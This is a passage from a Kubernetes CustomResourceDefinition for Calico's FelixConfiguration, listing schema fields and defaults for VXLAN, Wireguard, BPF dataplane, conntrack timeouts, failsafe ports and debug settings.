UDP port number to use for VXLAN traffic. [Default: 4789]","type":"integer"},"vxlanVNI":{"description":"VXLANVNI is the VXLAN VNI to use for VXLAN traffic.  You may need to change this if the default value is\nin use on your system. [Default: 4096]","type":"integer"},"windowsManageFirewallRules":{"description":"WindowsManageFirewallRules configures whether or not Felix will program Windows Firewall rules (to allow inbound access to its own metrics ports). [Default: Disabled]","enum":["Enabled","Disabled"],"type":"string"},"wireguardEnabled":{"description":"WireguardEnabled controls whether Wireguard is enabled for IPv4 (encapsulating IPv4 traffic over an IPv4 underlay network). [Default: false]","type":"boolean"},"wireguardEnabledV6":{"description":"WireguardEnabledV6 controls whether Wireguard is enabled for IPv6 (encapsulating IPv6 traffic over an IPv6 underlay network). [Default: false]","type":"boolean"},"wireguardHostEncryptionEnabled":{"description":"WireguardHostEncryptionEnabled controls whether Wireguard host-to-host encryption is enabled. [Default: false]","type":"boolean"},"wireguardInterfaceName":{"description":"WireguardInterfaceName specifies the name to use for the IPv4 Wireguard interface. [Default: wireguard.cali]","type":"string"},"wireguardInterfaceNameV6":{"description":"WireguardInterfaceNameV6 specifies the name to use for the IPv6 Wireguard interface. [Default: wg-v6.cali]","type":"string"},"wireguardKeepAlive":{"description":"WireguardPersistentKeepAlive controls Wireguard PersistentKeepalive option. Set 0 to disable. [Default: 0]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"wireguardListeningPort":{"description":"WireguardListeningPort controls the listening port used by IPv4 Wireguard. [Default: 51820]","type":"integer"},"wireguardListeningPortV6":{"description":"WireguardListeningPortV6 controls the listening port used by IPv6 Wireguard. [Default: 51821]","type":"integer"},"wireguardMTU":{"description":"WireguardMTU controls the MTU on the IPv4 Wireguard interface. See Configuring MTU [Default: 1440]","type":"integer"},"wireguardMTUV6":{"description":"WireguardMTUV6 controls the MTU on the IPv6 Wireguard interface. See Configuring MTU [Default: 1420]","type":"integer"},"wireguardRoutingRulePriority":{"description":"WireguardRoutingRulePriority controls the priority value to use for the Wireguard routing rule. [Default: 99]","type":"integer"},"wireguardThreadingEnabled":{"description":"WireguardThreadingEnabled controls whether Wireguard has Threaded NAPI enabled. [Default: false]\nThis increases the maximum number of packets a Wireguard interface can process.\nConsider threaded NAPI only if you have high packets per second workloads that are causing dropping packets due to a saturated `softirq` CPU core.\nThere is a [known issue](https://lore.kernel.org/netdev/CALrw=nEoT2emQ0OAYCjM1d_6Xe_kNLSZ6dhjb5FxrLFYh4kozA@mail.gmail.com/T/) with this setting\nthat may cause NAPI to get stuck holding the global `rtnl_mutex` when a peer is removed.\nWorkaround: Make sure your Linux kernel [includes this patch](https://github.com/torvalds/linux/commit/56364c910691f6d10ba88c964c9041b9ab777bd6) to unwedge NAPI.","type":"boolean"},"workloadSourceSpoofing":{"description":"WorkloadSourceSpoofing controls whether pods can use the allowedSourcePrefixes annotation to send traffic with a source IP\naddress that is not theirs. This is disabled by default. When set to \"Any\", pods can request any prefix.","pattern":"^(?i)(Disabled|Any)?$","type":"string"},"xdpEnabled":{"description":"XDPEnabled enables XDP acceleration for suitable untracked incoming deny rules. [Default: true]","type":"boolean"},"xdpRefreshInterval":{"description":"XDPRefreshInterval is the period at which Felix re-checks all XDP state to ensure that no\nother process has accidentally broken Calico's BPF maps or attached programs. Set to 0 to\ndisable XDP refresh. [Default: 90s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: felixconfigurations.crd.projectcalico.org
    resourceVersion: "6820649"
    uid: 4661042f-e672-4e2d-ae53-81f24ac0d2d6
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: FelixConfiguration
      listKind: FelixConfigurationList
      plural: felixconfigurations
      singular: felixconfiguration
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: Felix Configuration contains the configuration for Felix.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: FelixConfigurationSpec contains the values of the Felix
                configuration.
              properties:
                allowIPIPPacketsFromWorkloads:
                  description: |-
                    AllowIPIPPacketsFromWorkloads controls whether Felix will add a rule to drop IPIP encapsulated traffic
                    from workloads. [Default: false]
                  type: boolean
                allowVXLANPacketsFromWorkloads:
                  description: |-
                    AllowVXLANPacketsFromWorkloads controls whether Felix will add a rule to drop VXLAN encapsulated traffic
                    from workloads. [Default: false]
                  type: boolean
                awsSrcDstCheck:
                  description: |-
                    AWSSrcDstCheck controls whether Felix will try to change the "source/dest check" setting on the EC2 instance
                    on which it is running. A value of "Disable" will try to disable the source/dest check. Disabling the check
                    allows for sending workload traffic without encapsulation within the same AWS subnet.
                    [Default: DoNothing]
                  enum:
                  - DoNothing
                  - Enable
                  - Disable
                  type: string
                bpfCTLBLogFilter:
                  description: |-
                    BPFCTLBLogFilter specifies, what is logged by connect time load balancer when BPFLogLevel is
                    debug. Currently has to be specified as 'all' when BPFLogFilters is set
                    to see CTLB logs.
                    [Default: unset - means logs are emitted when BPFLogLevel id debug and BPFLogFilters not set.]
                  type: string
                bpfConnectTimeLoadBalancing:
                  description: |-
                    BPFConnectTimeLoadBalancing when in BPF mode, controls whether Felix installs the connect-time load
                    balancer. The connect-time load balancer is required for the host to be able to reach Kubernetes services
                    and it improves the performance of pod-to-service connections.When set to TCP, connect time load balancing
                    is available only for services with TCP ports. [Default: TCP]
                  enum:
                  - TCP
                  - Enabled
                  - Disabled
                  type: string
                bpfConnectTimeLoadBalancingEnabled:
                  description: |-
                    BPFConnectTimeLoadBalancingEnabled when in BPF mode, controls whether Felix installs the connection-time load
                    balancer.  The connect-time load balancer is required for the host to be able to reach Kubernetes services
                    and it improves the performance of pod-to-service connections.  The only reason to disable it is for debugging
                    purposes.

                    Deprecated: Use BPFConnectTimeLoadBalancing [Default: true]
                  type: boolean
                bpfConntrackLogLevel:
                  description: |-
                    BPFConntrackLogLevel controls the log level of the BPF conntrack cleanup program, which runs periodically
                    to clean up expired BPF conntrack entries.
                    [Default: Off].
                  enum:
                  - "Off"
                  - Debug
                  type: string
                bpfConntrackMode:
                  description: |-
                    BPFConntrackCleanupMode controls how BPF conntrack entries are cleaned up.  `Auto` will use a BPF program if supported,
                    falling back to userspace if not.  `Userspace` will always use the userspace cleanup code.  `BPFProgram` will
                    always use the BPF program (failing if not supported).
                    [Default: Auto]
                  enum:
                  - Auto
                  - Userspace
                  - BPFProgram
                  type: string
                bpfConntrackTimeouts:
                  description: |-
                    BPFConntrackTimers overrides the default values for the specified conntrack timer if
                    set. Each value can be either a duration or `Auto` to pick the value from
                    a Linux conntrack timeout.

                    Configurable timers are: CreationGracePeriod, TCPSynSent,
                    TCPEstablished, TCPFinsSeen, TCPResetSeen, UDPTimeout, GenericTimeout,
                    ICMPTimeout.

                    Unset values are replaced by the default values with a warning log for
                    incorrect values.
                  properties:
                    creationGracePeriod:
                      description: |2-
                         CreationGracePeriod gives a generic grace period to new connection
                         before they are considered for cleanup [Default: 10s].
                      pattern: ^(([0-9]*(\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$
                      type: string
                    genericTimeout:
                      description: |-
                        GenericTimeout controls how long it takes before considering this
                        entry for cleanup after the connection became idle. If set to 'Auto', the
                        value from nf_conntrack_generic_timeout is used. If nil, Calico uses its
                        own default value. [Default: 10m].
                      pattern: ^(([0-9]*(\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$
                      type: string
                    icmpTimeout:
                      description: |-
                        ICMPTimeout controls how long it takes before considering this
                        entry for cleanup after the connection became idle. If set to 'Auto', the
                        value from nf_conntrack_icmp_timeout is used. If nil, Calico uses its
                        own default value. [Default: 5s].
                      pattern: ^(([0-9]*(\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$
                      type: string
                    tcpEstablished:
                      description: |-
                        TCPEstablished controls how long it takes before considering this entry for
                        cleanup after the connection became idle. If set to 'Auto', the
                        value from nf_conntrack_tcp_timeout_established is used. If nil, Calico uses
                        its own default value. [Default: 1h].
                      pattern: ^(([0-9]*(\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$
                      type: string
                    tcpFinsSeen:
                      description: |-
                        TCPFinsSeen controls how long it takes before considering this entry for
                        cleanup after the connection was closed gracefully. If set to 'Auto', the
                        value from nf_conntrack_tcp_timeout_time_wait is used. If nil, Calico uses
                        its own default value. [Default: Auto].
                      pattern: ^(([0-9]*(\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$
                      type: string
                    tcpResetSeen:
                      description: |-
                        TCPResetSeen controls how long it takes before considering this entry for
                        cleanup after the connection was aborted. If nil, Calico uses its own
                        default value. [Default: 40s].
                      pattern: ^(([0-9]*(\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$
                      type: string
                    tcpSynSent:
                      description: |-
                        TCPSynSent controls how long it takes before considering this entry for
                        cleanup after the last SYN without a response. If set to 'Auto', the
                        value from nf_conntrack_tcp_timeout_syn_sent is used. If nil, Calico uses
                        its own default value. [Default: 20s].
                      pattern: ^(([0-9]*(\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$
                      type: string
                    udpTimeout:
                      description: |-
                        UDPTimeout controls how long it takes before considering this entry for
                        cleanup after the connection became idle. If nil, Calico uses its own
                        default value. [Default: 60s].
                      pattern: ^(([0-9]*(\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$
                      type: string
                  type: object
                bpfDSROptoutCIDRs:
                  description: |-
                    BPFDSROptoutCIDRs is a list of CIDRs which are excluded from DSR. That is, clients
                    in those CIDRs will access service node ports as if BPFExternalServiceMode was set to
                    Tunnel.
                  items:
                    type: string
                  type: array
                bpfDataIfacePattern:
                  description: |-
                    BPFDataIfacePattern is a regular expression that controls which interfaces Felix should attach BPF programs to
                    in order to catch traffic to/from the network.  This needs to match the interfaces that Calico workload traffic
                    flows over as well as any interfaces that handle incoming traffic to nodeports and services from outside the
                    cluster.  It should not match the workload interfaces (usually named cali...) or any other special device managed
                    by Calico itself (e.g., tunnels).
                  type: string
                bpfDisableGROForIfaces:
                  description: |-
                    BPFDisableGROForIfaces is a regular expression that controls which interfaces Felix should disable the
                    Generic Receive Offload [GRO] option.  It should not match the workload interfaces (usually named cali...).
                  type: string
                bpfDisableUnprivileged:
                  description: |-
                    BPFDisableUnprivileged, if enabled, Felix sets the kernel.unprivileged_bpf_disabled sysctl to disable
                    unprivileged use of BPF.  This ensures that unprivileged users cannot access Calico's BPF maps and
                    cannot insert their own BPF programs to interfere with Calico's. [Default: true]
                  type: boolean
                bpfEnabled:
                  description: 'BPFEnabled, if enabled Felix will use the BPF dataplane.
                    [Default: false]'
                  type: boolean
                bpfEnforceRPF:
                  description: |-
                    BPFEnforceRPF enforce strict RPF on all host interfaces with BPF programs regardless of
                    what is the per-interfaces or global setting. Possible values are Disabled, Strict
                    or Loose. [Default: Loose]
                  pattern: ^(?i)(Disabled|Strict|Loose)?$
                  type: string
                bpfExcludeCIDRsFromNAT:
                  description: |-
                    BPFExcludeCIDRsFromNAT is a list of CIDRs that are to be excluded from NAT
                    resolution so that host can handle them. A typical usecase is node local
                    DNS cache.
                  items:
                    type: string
                  type: array
                bpfExportBufferSizeMB:
                  description: |-
                    BPFExportBufferSizeMB in BPF mode, controls the buffer size used for sending BPF events to felix.
                    [Default: 1]
                  type: integer
                bpfExtToServiceConnmark:
                  description: |-
                    BPFExtToServiceConnmark in BPF mode, controls a 32bit mark that is set on connections from an
                    external client to a local service. This mark allows us to control how packets of that
                    connection are routed within the host and how is routing interpreted by RPF check. [Default: 0]
                  type: integer
                bpfExternalServiceMode:
                  description: |-
                    BPFExternalServiceMode in BPF mode, controls how connections from outside the cluster to services (node ports
                    and cluster IPs) are forwarded to remote workloads.  If set to "Tunnel" then both request and response traffic
                    is tunneled to the remote node.  If set to "DSR", the request traffic is tunneled but the response traffic
                    is sent directly from the remote node.  In "DSR" mode, the remote node appears to use the IP of the ingress
                    node; this requires a permissive L2 network.  [Default: Tunnel]
                  pattern: ^(?i)(Tunnel|DSR)?$
                  type: string
                bpfForceTrackPacketsFromIfaces:
                  description: |-
                    BPFForceTrackPacketsFromIfaces in BPF mode, forces traffic from these interfaces
                    to skip Calico's iptables NOTRACK rule, allowing traffic from those interfaces to be
                    tracked by Linux conntrack.  Should only be used for interfaces that are not used for
                    the Calico fabric.  For example, a docker bridge device for non-Calico-networked
                    containers. [Default: docker+]
                  items:
                    type: string
                  type: array
                bpfHostConntrackBypass:
                  description: |-
                    BPFHostConntrackBypass Controls whether to bypass Linux conntrack in BPF mode for
                    workloads and services. [Default: true - bypass Linux conntrack]
                  type: boolean
                bpfHostNetworkedNATWithoutCTLB:
                  description: |-
                    BPFHostNetworkedNATWithoutCTLB when in BPF mode, controls whether Felix does a NAT without CTLB. This along with BPFConnectTimeLoadBalancing
                    determines the CTLB behavior. [Default: Enabled]
                  enum:
                  - Enabled
                  - Disabled
                  type: string
                bpfKubeProxyEndpointSlicesEnabled:
                  description: |-
                    BPFKubeProxyEndpointSlicesEnabled is deprecated and has no effect. BPF
                    kube-proxy always accepts endpoint slices. This option will be removed in
                    the next release.
                  type: boolean
                bpfKubeProxyHealtzPort:
                  description: |-
                    BPFKubeProxyHealtzPort, in BPF mode, controls the port that Felix's embedded kube-proxy health check server binds to.
                    The health check server is used by external load balancers to determine if this node should receive traffic.  [Default: 10256]
                  type: integer
                bpfKubeProxyIptablesCleanupEnabled:
                  description: |-
                    BPFKubeProxyIptablesCleanupEnabled, if enabled in BPF mode, Felix will proactively clean up the upstream
                    Kubernetes kube-proxy's iptables chains.  Should only be enabled if kube-proxy is not running.  [Default: true]
                  type: boolean
                bpfKubeProxyMinSyncPeriod:
                  description: |-
                    BPFKubeProxyMinSyncPeriod, in BPF mode, controls the minimum time between updates to the dataplane for Felix's
                    embedded kube-proxy.  Lower values give reduced set-up latency.  Higher values reduce Felix CPU usage by
                    batching up more work.  [Default: 1s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                bpfL3IfacePattern:
                  description: |-
                    BPFL3IfacePattern is a regular expression that allows to list tunnel devices like wireguard or vxlan (i.e., L3 devices)
                    in addition to BPFDataIfacePattern. That is, tunnel interfaces not created by Calico, that Calico workload traffic flows
                    over as well as any interfaces that handle incoming traffic to nodeports and services from outside the cluster.
                  type: string
                bpfLogFilters:
                  additionalProperties:
                    type: string
                  description: |-
                    BPFLogFilters is a map of key=values where the value is
                    a pcap filter expression and the key is an interface name with 'all'
                    denoting all interfaces, 'weps' all workload endpoints and 'heps' all host
                    endpoints.

                    When specified as an env var, it accepts a comma-separated list of
                    key=values.
                    [Default: unset - means all debug logs are emitted]
                  type: object
                bpfLogLevel:
                  description: |-
                    BPFLogLevel controls the log level of the BPF programs when in BPF dataplane mode.  One of "Off", "Info", or
                    "Debug".  The logs are emitted to the BPF trace pipe, accessible with the command `tc exec bpf debug`.
                    [Default: Off].
                  pattern: ^(?i)(Off|Info|Debug)?$
                  type: string
                bpfMapSizeConntrack:
                  description: |-
                    BPFMapSizeConntrack sets the size for the conntrack map.  This map must be large enough to hold
                    an entry for each active connection.  Warning: changing the size of the conntrack map can cause disruption.
                  type: integer
                bpfMapSizeConntrackCleanupQueue:
                  description: |-
                    BPFMapSizeConntrackCleanupQueue sets the size for the map used to hold NAT conntrack entries that are queued
                    for cleanup.  This should be big enough to hold all the NAT entries that expire within one cleanup interval.
                  minimum: 1
                  type: integer
                bpfMapSizeConntrackScaling:
                  description: |-
                    BPFMapSizeConntrackScaling controls whether and how we scale the conntrack map size depending
                    on its usage. 'Disabled' make the size stay at the default or whatever is set by
                    BPFMapSizeConntrack*. 'DoubleIfFull' doubles the size when the map is pretty much full even
                    after cleanups. [Default: DoubleIfFull]
                  pattern: ^(?i)(Disabled|DoubleIfFull)?$
                  type: string
                bpfMapSizeIPSets:
                  description: |-
                    BPFMapSizeIPSets sets the size for ipsets map.  The IP sets map must be large enough to hold an entry
                    for each endpoint matched by every selector in the source/destination matches in network policy.  Selectors
                    such as "all()" can result in large numbers of entries (one entry per endpoint in that case).
                  type: integer
                bpfMapSizeIfState:
                  description: |-
                    BPFMapSizeIfState sets the size for ifstate map.  The ifstate map must be large enough to hold an entry
                    for each device (host + workloads) on a host.
                  type: integer
                bpfMapSizeNATAffinity:
                  description: |-
                    BPFMapSizeNATAffinity sets the size of the BPF map that stores the affinity of a connection (for services that
                    enable that feature.
                  type: integer
                bpfMapSizeNATBackend:
                  description: |-
                    BPFMapSizeNATBackend sets the size for NAT back end map.
                    This is the total number of endpoints. This is mostly
                    more than the size of the number of services.
                  type: integer
                bpfMapSizeNATFrontend:
                  description: |-
                    BPFMapSizeNATFrontend sets the size for NAT front end map.
                    FrontendMap should be large enough to hold an entry for each nodeport,
                    external IP and each port in each service.
                  type: integer
                bpfMapSizePerCpuConntrack:
                  description: |-
                    BPFMapSizePerCPUConntrack determines the size of conntrack map based on the number of CPUs. If set to a
                    non-zero value, overrides BPFMapSizeConntrack with `BPFMapSizePerCPUConntrack * (Number of CPUs)`.
                    This map must be large enough to hold an entry for each active connection.  Warning: changing the size of the
                    conntrack map can cause disruption.
                  type: integer
                bpfMapSizeRoute:
                  description: |-
                    BPFMapSizeRoute sets the size for the routes map.  The routes map should be large enough
                    to hold one entry per workload and a handful of entries per host (enough to cover its own IPs and
                    tunnel IPs).
                  type: integer
                bpfPSNATPorts:
                  anyOf:
                  - type: integer
                  - type: string
                  description: |-
                    BPFPSNATPorts sets the range from which we randomly pick a port if there is a source port
                    collision. This should be within the ephemeral range as defined by RFC 6056 (1024–65535) and
                    preferably outside the  ephemeral ranges used by common operating systems. Linux uses
                    32768–60999, while others mostly use the IANA defined range 49152–65535. It is not necessarily
                    a problem if this range overlaps with the operating systems. Both ends of the range are
                    inclusive. [Default: 20000:29999]
                  pattern: ^.*
                  x-kubernetes-int-or-string: true
                bpfPolicyDebugEnabled:
                  description: |-
                    BPFPolicyDebugEnabled when true, Felix records detailed information
                    about the BPF policy programs, which can be examined with the calico-bpf command-line tool.
                  type: boolean
                bpfProfiling:
                  description: |-
                    BPFProfiling controls profiling of BPF programs. At the monent, it can be
                    Disabled or Enabled. [Default: Disabled]
                  enum:
                  - Enabled
                  - Disabled
                  type: string
                bpfRedirectToPeer:
                  description: |-
                    BPFRedirectToPeer controls which whether it is allowed to forward straight to the
                    peer side of the workload devices. It is allowed for any host L2 devices by default
                    (L2Only), but it breaks TCP dump on the host side of workload device as it bypasses
                    it on ingress. Value of Enabled also allows redirection from L3 host devices like
                    IPIP tunnel or Wireguard directly to the peer side of the workload's device. This
                    makes redirection faster, however, it breaks tools like tcpdump on the peer side.
                    Use Enabled with caution. [Default: L2Only]
                  enum:
                  - Enabled
                  - Disabled
                  - L2Only
                  type: string
                cgroupV2Path:
                  description: CgroupV2Path overrides the default location where to
                    find the cgroup hierarchy.
                  type: string
                chainInsertMode:
                  description: |-
                    ChainInsertMode controls whether Felix hooks the kernel's top-level iptables chains by inserting a rule
                    at the top of the chain or by appending a rule at the bottom. insert is the safe default since it prevents
                    Calico's rules from being bypassed. If you switch to append mode, be sure that the other rules in the chains
                    signal acceptance by falling through to the Calico rules, otherwise the Calico policy will be bypassed.
                    [Default: insert]
                  pattern: ^(?i)(Insert|Append)?$
                  type: string
                dataplaneDriver:
                  description: |-
                    DataplaneDriver filename of the external dataplane driver to use.  Only used if UseInternalDataplaneDriver
                    is set to false.
                  type: string
                dataplaneWatchdogTimeout:
                  description: |-
                    DataplaneWatchdogTimeout is the readiness/liveness timeout used for Felix's (internal) dataplane driver.
                    Deprecated: replaced by the generic HealthTimeoutOverrides.
                  type: string
                debugDisableLogDropping:
                  description: |-
                    DebugDisableLogDropping disables the dropping of log messages when the log buffer is full.  This can
                    significantly impact performance if log write-out is a bottleneck. [Default: false]
                  type: boolean
                debugHost:
                  description: |-
                    DebugHost is the host IP or hostname to bind the debug port to.  Only used
                    if DebugPort is set. [Default:localhost]
                  type: string
                debugMemoryProfilePath:
                  description: DebugMemoryProfilePath is the path to write the memory
                    profile to when triggered by signal.
                  type: string
                debugPort:
                  description: |-
                    DebugPort if set, enables Felix's debug HTTP port, which allows memory and CPU profiles
                    to be retrieved.  The debug port is not secure, it should not be exposed to the internet.
                  type: integer
                debugSimulateCalcGraphHangAfter:
                  description: |-
                    DebugSimulateCalcGraphHangAfter is used to simulate a hang in the calculation graph after the specified duration.
                    This is useful in tests of the watchdog system only!
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                debugSimulateDataplaneApplyDelay:
                  description: |-
                    DebugSimulateDataplaneApplyDelay adds an artificial delay to every dataplane operation.  This is useful for
                    simulating a heavily loaded system for test purposes only.
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                debugSimulateDataplaneHangAfter:
                  description: |-
                    DebugSimulateDataplaneHangAfter is used to simulate a hang in the dataplane after the specified duration.
                    This is useful in tests of the watchdog system only!
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                defaultEndpointToHostAction:
                  description: |-
                    DefaultEndpointToHostAction controls what happens to traffic that goes from a workload endpoint to the host
                    itself (after the endpoint's egress policy is applied). By default, Calico blocks traffic from workload
                    endpoints to the host itself with an iptables "DROP" action. If you want to allow some or all traffic from
                    endpoint to host, set this parameter to RETURN or ACCEPT. Use RETURN if you have your own rules in the iptables
                    "INPUT" chain; Calico will insert its rules at the top of that chain, then "RETURN" packets to the "INPUT" chain
                    once it has completed processing workload endpoint egress policy. Use ACCEPT to unconditionally accept packets
                    from workloads after processing workload endpoint egress policy. [Default: Drop]
                  pattern: ^(?i)(Drop|Accept|Return)?$
                  type: string
                deviceRouteProtocol:
                  description: |-
                    DeviceRouteProtocol controls the protocol to set on routes programmed by Felix. The protocol is an 8-bit label
                    used to identify the owner of the route.
                  type: integer
                deviceRouteSourceAddress:
                  description: |-
                    DeviceRouteSourceAddress IPv4 address to set as the source hint for routes programmed by Felix. When not set
                    the source address for local traffic from host to workload will be determined by the kernel.
                  type: string
                deviceRouteSourceAddressIPv6:
                  description: |-
                    DeviceRouteSourceAddressIPv6 IPv6 address to set as the source hint for routes programmed by Felix. When not set
                    the source address for local traffic from host to workload will be determined by the kernel.
                  type: string
                disableConntrackInvalidCheck:
                  description: |-
                    DisableConntrackInvalidCheck disables the check for invalid connections in conntrack. While the conntrack
                    invalid check helps to detect malicious traffic, it can also cause issues with certain multi-NIC scenarios.
                  type: boolean
                endpointReportingDelay:
                  description: |-
                    EndpointReportingDelay is the delay before Felix reports endpoint status to the datastore. This is only used
                    by the OpenStack integration. [Default: 1s]
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                endpointReportingEnabled:
                  description: |-
                    EndpointReportingEnabled controls whether Felix reports endpoint status to the datastore. This is only used
                    by the OpenStack integration. [Default: false]
                  type: boolean
                endpointStatusPathPrefix:
                  description: |-
                    EndpointStatusPathPrefix is the path to the directory where endpoint status will be written. Endpoint status
                    file reporting is disabled if field is left empty.

                    Chosen directory should match the directory used by the CNI plugin for PodStartupDelay.
                    [Default: /var/run/calico]
                  type: string
                externalNodesList:
                  description: |-
                    ExternalNodesCIDRList is a list of CIDR's of external, non-Calico nodes from which VXLAN/IPIP overlay traffic
                    will be allowed.  By default, external tunneled traffic is blocked to reduce attack surface.
                  items:
                    type: string
                  type: array
                failsafeInboundHostPorts:
                  description: |-
                    FailsafeInboundHostPorts is a list of ProtoPort struct objects including UDP/TCP/SCTP ports and CIDRs that Felix will
                    allow incoming traffic to host endpoints on irrespective of the security policy. This is useful to avoid accidentally
                    cutting off a host with incorrect configuration. For backwards compatibility, if the protocol is not specified,
                    it defaults to "tcp". If a CIDR is not specified, it will allow traffic from all addresses. To disable all inbound host ports,
                    use the value "[]". The default value allows ssh access, DHCP, BGP, etcd and the Kubernetes API.
                    [Default: tcp:22, udp:68, tcp:179, tcp:2379, tcp:2380, tcp:5473, tcp:6443, tcp:6666, tcp:6667 ]
                  items:
                    description: ProtoPort is combination of protocol, port, and CIDR.
                      Protocol and port must be specified.
                    properties:
                      net:
                        type: string
                      port:
                        type: integer
                      protocol:
                        type: string
                    required:
                    - port
                    type: object
                  type: array
                failsafeOutboundHostPorts:
                  description: |-
                    FailsafeOutboundHostPorts is a list of PortProto struct objects including UDP/TCP/SCTP ports and CIDRs that Felix
                    will allow outgoing traffic from host endpoints to irrespective of the security policy. This is useful to avoid accidentally
                    cutting off a host with incorrect configuration. For backwards compatibility, if the protocol is not specified, it defaults
                    to "tcp". If a CIDR is not specified, it will allow traffic from all addresses. To disable all outbound host ports,
                    use the value "[]". The default value opens etcd's standard ports to ensure that Felix does not get cut off from etcd
                    as well as allowing DHCP, DNS, BGP and the Kubernetes API.
                    [Default: udp:53, udp:67, tcp:179, tcp:2379, tcp:2380, tcp:5473, tcp:6443, tcp:6666, tcp:6667 ]
                  items:
                    description: ProtoPort is combination of protocol, port, and CIDR.
                      Protocol and port must be specified.
                    properties:
                      net:
                        type: string
                      port:
                        type: integer
                      protocol:
                        type: string
                    required:
                    - port
                    type: object
                  type: array
                featureDetectOverride:
                  description: |-
                    FeatureDetectOverride is used to override feature detection based on auto-detected platform
                    capabilities.  Values are specified in a comma separated list with no spaces, example;
                    "SNATFullyRandom=true,MASQFullyRandom=false,RestoreSupportsLock=". A value of "true" or "false" will
                    force enable/disable feature, empty or omitted values fall back to auto-detection.
                  pattern: ^([a-zA-Z0-9-_]+=(true|false|),)*([a-zA-Z0-9-_]+=(true|false|))?$
                  type: string
                featureGates:
                  description: |-
                    FeatureGates is used to enable or disable tech-preview Calico features.
                    Values are specified in a comma separated list with no spaces, example;
                    "BPFConnectTimeLoadBalancingWorkaround=enabled,XyZ=false". This is
                    used to enable features that are not fully production ready.
                  pattern: ^([a-zA-Z0-9-_]+=([^=]+),)*([a-zA-Z0-9-_]+=([^=]+))?$
                  type: string
                floatingIPs:
                  description: |-
                    FloatingIPs configures whether or not Felix will program non-OpenStack floating IP addresses.  (OpenStack-derived
                    floating IPs are always programmed, regardless of this setting.)
                  enum:
                  - Enabled
                  - Disabled
                  type: string
                flowLogsCollectorDebugTrace:
                  description: |-
                    When FlowLogsCollectorDebugTrace is set to true, enables the logs in the collector to be
                    printed in their entirety.
                  type: boolean
                flowLogsFlushInterval:
                  description: FlowLogsFlushInterval configures the interval at which
                    Felix exports flow logs.
                  pattern: ^([0-9]+(\\.[0-9]+)?(ms|s|m|h))*$
                  type: string
                flowLogsGoldmaneServer:
                  description: FlowLogGoldmaneServer is the flow server endpoint to
                    which flow data should be published.
                  type: string
                flowLogsLocalReporter:
                  description: 'FlowLogsLocalReporter configures local unix socket
                    for reporting flow data from each node. [Default: Disabled]'
                  enum:
                  - Disabled
                  - Enabled
                  type: string
                flowLogsPolicyEvaluationMode:
                  description: |-
                    Continuous - Felix evaluates active flows on a regular basis to determine the rule
                    traces in the flow logs. Any policy updates that impact a flow will be reflected in the
                    pending_policies field, offering a near-real-time view of policy changes across flows.
                    None - Felix stops evaluating pending traces.
                    [Default: Continuous]
                  enum:
                  - None
                  - Continuous
                  type: string
                genericXDPEnabled:
                  description: |-
                    GenericXDPEnabled enables Generic XDP so network cards that don't support XDP offload or driver
                    modes can use XDP. This is not recommended since it doesn't provide better performance than
                    iptables. [Default: false]
                  type: boolean
                goGCThreshold:
                  description: |-
                    GoGCThreshold Sets the Go runtime's garbage collection threshold.  I.e. the percentage that the heap is
                    allowed to grow before garbage collection is triggered.  In general, doubling the value halves the CPU time
                    spent doing GC, but it also doubles peak GC memory overhead.  A special value of -1 can be used
                    to disable GC entirely; this should only be used in conjunction with the GoMemoryLimitMB setting.

                    This setting is overridden by the GOGC environment variable.

                    [Default: 40]
                  type: integer
                goMaxProcs:
                  description: |-
                    GoMaxProcs sets the maximum number of CPUs that the Go runtime will use concurrently.  A value of -1 means
                    "use the system default"; typically the number of real CPUs on the system.

                    this setting is overridden by the GOMAXPROCS environment variable.

                    [Default: -1]
                  type: integer
                goMemoryLimitMB:
                  description: |-
                    GoMemoryLimitMB sets a (soft) memory limit for the Go runtime in MB.  The Go runtime will try to keep its memory
                    usage under the limit by triggering GC as needed.  To avoid thrashing, it will exceed the limit if GC starts to
                    take more than 50% of the process's CPU time.  A value of -1 disables the memory limit.

                    Note that the memory limit, if used, must be considerably less than any hard resource limit set at the container
                    or pod level.  This is because felix is not the only process that must run in the container or pod.

                    This setting is overridden by the GOMEMLIMIT environment variable.

                    [Default: -1]
                  type: integer
                healthEnabled:
                  description: |-
                    HealthEnabled if set to true, enables Felix's health port, which provides readiness and liveness endpoints.
                    [Default: false]
                  type: boolean
                healthHost:
                  description: 'HealthHost is the host that the health server should
                    bind to. [Default: localhost]'
                  type: string
                healthPort:
                  description: 'HealthPort is the TCP port that the health server
                    should bind to. [Default: 9099]'
                  type: integer
                healthTimeoutOverrides:
                  description: |-
                    HealthTimeoutOverrides allows the internal watchdog timeouts of individual subcomponents to be
                    overridden.  This is useful for working around "false positive" liveness timeouts that can occur
                    in particularly stressful workloads or if CPU is constrained.  For a list of active
                    subcomponents, see Felix's logs.
                  items:
                    properties:
                      name:
